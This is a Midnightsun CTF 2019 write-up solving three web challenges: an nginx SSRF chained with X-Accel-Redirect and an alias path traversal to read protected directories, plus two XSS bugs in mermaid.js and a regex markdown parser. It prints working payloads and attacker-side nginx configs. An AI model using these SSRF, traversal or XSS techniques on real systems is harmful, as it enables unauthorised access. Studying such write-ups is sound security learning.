Schwenk and pwn

Midnightsun CTF 2019 - bigspin, marcodowno, marcozuckerbergo


This app got hacked due to admin and uberadmin directories being open. Was just about to wget -r it, but then they fixed it :( Can you help me get the files again?

spin 1 (SSRF)

The main page of Bigspin consists of 4 links: /uberadmin/, /admin/, /user/, /pleb/. /user/ and /uberadmin/ returns 403 and admin returns 404. The only accessible link is /pleb/. The page is served by nginx, and there are no forms or other probable inputs except the url. The first idea was that a path teaversal might be possible, what often happens when using alias instead of root when configuring nignx. Therefore the first try is /pleb../uberadmin/. Instead of an easy flag or an 40x error, it returns a 502 Bad Gateway. Another interesting fact is that /pleb/ looks identical to This was a strong hint that the url is somehow used as input to proxy-pass. Requesting / confirms this therory, because the response body is identical to the response body of http://* So, we found a SSRF vulnerability which also leaks the response of the request.

spin 2 (pleb -> user)

Until now, /user/ and /uberadmin/ returned 403. Maybe they are only available from localhost or an internal network. Using the SSRF, it might be possible to access one of those pages. And it works with / (* resolves to which returns a directory listing with a file nginx.c%C3%B6nf%20. After urlencoding it again (/, the service returns its nginx-config:

worker_processes 1;
user nobody nobody;
error_log /dev/stdout;
pid /tmp/;
events {
  worker_connections 1024;

http {

    # Set an array of temp and cache files options that otherwise defaults to
    # restricted locations accessible only to root.

    client_body_temp_path /tmp/client_body;
    fastcgi_temp_path /tmp/fastcgi_temp;
    proxy_temp_path /tmp/proxy_temp;
    scgi_temp_path /tmp/scgi_temp;
    uwsgi_temp_path /tmp/uwsgi_temp;
    resolver ipv6=off;

    server {
        listen 80;

        location / {
            root /var/www/html/public;
            try_files $uri $uri/index.html $uri/ =404;

        location /user {
            deny all;
            autoindex on;
            root /var/www/html/;

        location /admin {
            autoindex on;
            alias /var/www/html/admin/;

        location /uberadmin {
            deny all;
            autoindex on;
            alias /var/www/html/uberadmin/;

        location ~ /pleb([/a-zA-Z0-9.:%]+) {

        access_log /dev/stdout;
        error_log /dev/stdout;


spin 3 (user -> admin)

After leaking the nginx config from the user directory, it’s time to proceed with the admin. The config also explains, why /admin/ returns 404. It’s because the internal statement of nginx restricts the location to server-side redirects by nginx. Such redirects can either be done server-side with the rewrite statement, or by setting the X-Accel-Redirect header in a backend server. Because the attacker can choose the backend server, it is easy to implement such a redirect header on an attacker-controlled backend server (*

location = /x.html {
        add_header X-Accel-Redirect "/admin/";
        return 200 hm;

Now, requesting / returns a directory listing of /admin/ with a flag.txt. Replacing the redirect header with /admin/flag.txt returns:

hmmm, should admins really get flags? seems like an uberadmin thing to me

Seems like there is one more spin necessary…

spin 4 (admin -> uberadmin)

The last step is easy. The config reveals that the admin location uses the alias statement instead of the root statement. The alias statement takes everything after /admin and appends it to /var/www/html/admin/. So, a request to /admin../ resolves to /var/www/html/admin/../ = /var/www/html/. This path traversal can be exploited to access the uberadmin folder by using this configuration on the attacker-controlled backend-server:

location = /y.html {
        add_header X-Accel-Redirect "/admin../uberadmin/";
        return 200 hm;

Requesting / returns a directory listing and changing the header to X-Accel-Redirect "/admin../uberadmin/flag.txt" gives the valid flag: midnight{y0u_sp1n_m3_r1ght_r0und_b@by}

Marco zuckerbergo

Fine, I’ll use a damn lib. Let’s see if it’s any better.

The challenge consisted of a page that allows to provide input for mermaid.js, which will then generate HTML to display the resulting graph:

$("#render").html();$("#render").removeAttr("data-processed");$("#render").text($("#markdown").text());mermaid.init(undefined, $("#render"));

The goal of the challenge was to provide a link that will open the alert-box, so an XSS is required. The simplest XSS would be if we can inject arbitrary HTML tags. I expected there are many people who want to include HTML elements for e.g. links in their graphs. And a quick google search reveals a suitable answer on stackoverflow. By replacing the HTML in the example with the default XSS-payload, we get a working exploit:

graph TD; A["<img src=x onerror='alert(1)'>"]

Submitting the link gives back the flag midnight{1_gu3zz_7rust1ng_l1bs_d1dnt_w0rk_3ither:(}

Marco Downo

Someone told me to use a lib, but real developers rock regex one-liners.

This challenge was similar to Marco zuckerbergo. But, instead of mermaid.js, a selfmade markdown parser parsed the input:

function markdown(text){
  text = text.replace(/[<]/g, '').replace(/----/g,'<hr>').replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>').replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>').replace(/__([^_]+)__/g, '<b>$1</b>').replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>').replace(/\* ([^*]+)/g, '<li>$1</li>').replace(/##### ([^#\n]+)/g, '<h5>$1</h5>').replace(/#### ([^#\n]+)/g, '<h4>$1</h4>').replace(/### ([^#\n]+)/g, '<h3>$1</h3>').replace(/## ([^#\n]+)/g, '<h2>$1</h2>').replace(/# ([^#\n]+)/g, '<h1>$1</h1>').replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>').replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>').replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>').replace(/`([^`]+)`/g, '<code>$1</code>').replace(/```([^`]+)```/g, '<code>$1</code>').replace(/\n/g, "<br>");
  return text;

Once again, the goal was to find a XSS to open an alert box. It turns out that the alt-text of an image may consist of every character except ] and is pasted into the alt-attribute of an image tag without any escaping:

.replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')

Now adding a " to the alt-text terminates the HTML attribute string and allows to add an onerror-handler with to the image tag. This payload sets alert(1) as onerror-handler and uses an 404-url to trigger it:

![" onerror="alert(1)"](

Submitting the URL returns the flag midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?}